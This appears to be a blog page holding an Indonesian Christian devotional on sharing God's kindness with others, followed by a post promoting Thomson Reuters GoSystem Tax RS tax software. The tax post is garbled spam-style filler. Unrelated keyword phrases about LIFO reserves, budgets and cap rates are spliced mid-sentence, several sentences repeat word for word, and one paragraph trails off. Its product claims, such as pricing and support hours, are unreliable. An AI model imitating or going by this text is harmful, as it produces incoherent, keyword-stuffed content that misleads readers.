Kasih dan kebaikan TUHAN yang kita alami tak boleh disimpan sendiri tapi perlu diberitakan (disharingkan) kepada orang lain. Dengan memberitakan kasih dan kebaikan TUHAN kepada orang lain maka kita mengajak mereka untuk ikut merasakan dan mensyukuri kasih dan kebaikan-NYA sehingga lebih banyak orang yang memuji dan memuliakan TUHAN.

Refleksi                                                                

Dalam keheningan, ingatlah: apakah Saudara pernah memberitakan kebaikan TUHAN bagi orang lain? Manakah yang lebih banyak Saudara lakukan, menyimpan kebaikan TUHAN buat diri sendiri ataukah memberitakan kebaikan TUHAN bagi banyak orang. Apakah Saudara merasa sulit memberitakan kasih dan kebaikan TUHAN kepada orang lain?

Tekadku                                                                

Ya TUHAN mampukanlah aku menyatakan rasa syukur atas kasih dan kebaikan-MU dengan memberitakan karya kasih dan kebaikan- MU kepada orang lain.

Tindakanku                                                           

Aku akan selalu memuji-memuji TUHAN di mana pun serta memberitakan karya kebaikan TUHAN bagi banyak orang dan segala makhluk ciptaan-NYA

Posted in RENUNGAN | Leave a comment

Professional income tax software GoSystem Tax RS Thomson Reuters

gosystem support

In this demonstration you’ll explore the processes for MyTaxInfo, and see how it can make the collection of tax information from taxpayers easier explain lifo reserve and lifo liquidation and more reliable. You’ll also see how MyTaxInfo virtually eliminates transcription errors, ensures accuracy, improves speed and efficiency, and how it can be customized for your firm and client needs thanks to its complete integration with GoSystem Tax RS. Be ready to e-file your clients’ 1040 returns this tax season with these helpful resources.

  1. GoSystem Tax RS pricing is customized for each firm, starting at around $4,000 annually for a single-user system.
  2. Extended hours (9am to 7pm) are January 2-31 (weekdays; regular hours on January 15) and December 2-30 (weekdays).
  3. In this demonstration you’ll explore the processes for MyTaxInfo, and see how it can make the collection of tax information from taxpayers easier and more reliable.
  4. Another handy feature is the ability to click on any line on a completed tax form to display an audit trail for the amount displayed.

Legal data & document management

Tax return assembly & delivery automation budget vs target for individual and entity returns, with a superior client experience. Cryptocurrency tax reporting software that streamlines the compliance workflow process. Process individual, corporate, and partnership returns with timesaving tools, such as the Allocation and Apportionment module.

gosystem support

support hours for CS Professional Suite

GoSystem Tax offers an intuitive user interface with the ability to customize the interface to better suit their needs. Easy access is provided for all tax organizers, and the product supports multiple monitors for easy form preparation. GoSystem Tax RS does not offer a portal, but the product offers easy integration with the NetClient CS Portal, part of the CS Professional Suite of applications. The NetClient CS Portal allows firms to share returns with clients, with clients provided with secure access to the portal, where they can upload source documents and other related information.

Consolidate 1120 or 1120S returns

Data can also be imported directly to the application from a variety of applications if necessary. GoSystem Tax RS supports both federal and state e-filing, with users able to validate returns prior to e-filing. Another handy feature is the ability to click on any line on a completed tax form to display an audit trail for the amount displayed. Diagnostic messages are also available in the application and users can easily view processing results as they are entered using the auto-compute feature.

Used by the top 100 CPA firms, Thomson Reuters GoSystem Tax RS is the market leader for corporate tax departments. The software serves clients filing all return types — including multitiered consolidated corporate returns, life insurance returns (including mixed group filings), and tax equalization returns. Because all work is handled online, you’ll pay less in maintenance costs, face fewer storage issues, and rest easy with assured business continuance. GoSystem Tax RS from Thomson Reuters is part of the CS Professional Suite of applications designed for accounting professionals and corporate tax departments alike.

Protect your data with multiple layers of security, including network security, virus protection, encryption schemes, and more. Process your clients’ payrolls more effectively with this collection of useful resources. Find answers to common questions and information on advanced technical issues. From AI-driven solutions to cutting-edge advancements in digital transformation, find out what’s next from Thomson Reuters at SYNERGY 2024. Find out how to reach our Customer Service and Support representatives by phone or online. Find all the help you need, right here — including technical support, training, and advice from other Thomson Reuters Onvio customers like you.

GoSystem Tax RS is well suited for firms preparing multitiered consolidated corporate returns, life insurance returns, and tax equalization returns, though the program handles individual returns as well. GoSystem Tax RS is optimally designed for mid-sized to larger what is a good cap rate for an investment property accounting firms that handle a variety of complex returns for their clients. With extensive integration capability with CS Professional Suite along with various third-party applications, users have access to the data and documentation needed to easily process even the most complicated return. GoSystem Tax RS pricing is customized for each firm, starting at around $4,000 annually for a single-user system. GoSystem Tax RS is well suited for firms preparing multitiered consolidated corporate …

Get updates on the connectivity status of your firm’s online product(s), including reports of service disruptions. Extended hours (9am to 7pm) are January 2-31 (weekdays; regular hours on January 15) and December 2-30 (weekdays). End-to-end tax workflow automation solutions for tax preparers and accountants. See how GoSystem Tax RS provides a sophisticated web-based system that provides the power to handle your most complex tax scenarios. Review consolidated filings with the SubView module, which itemizes member amounts for each line of the return.

Posted in Uncategorized | Leave a comment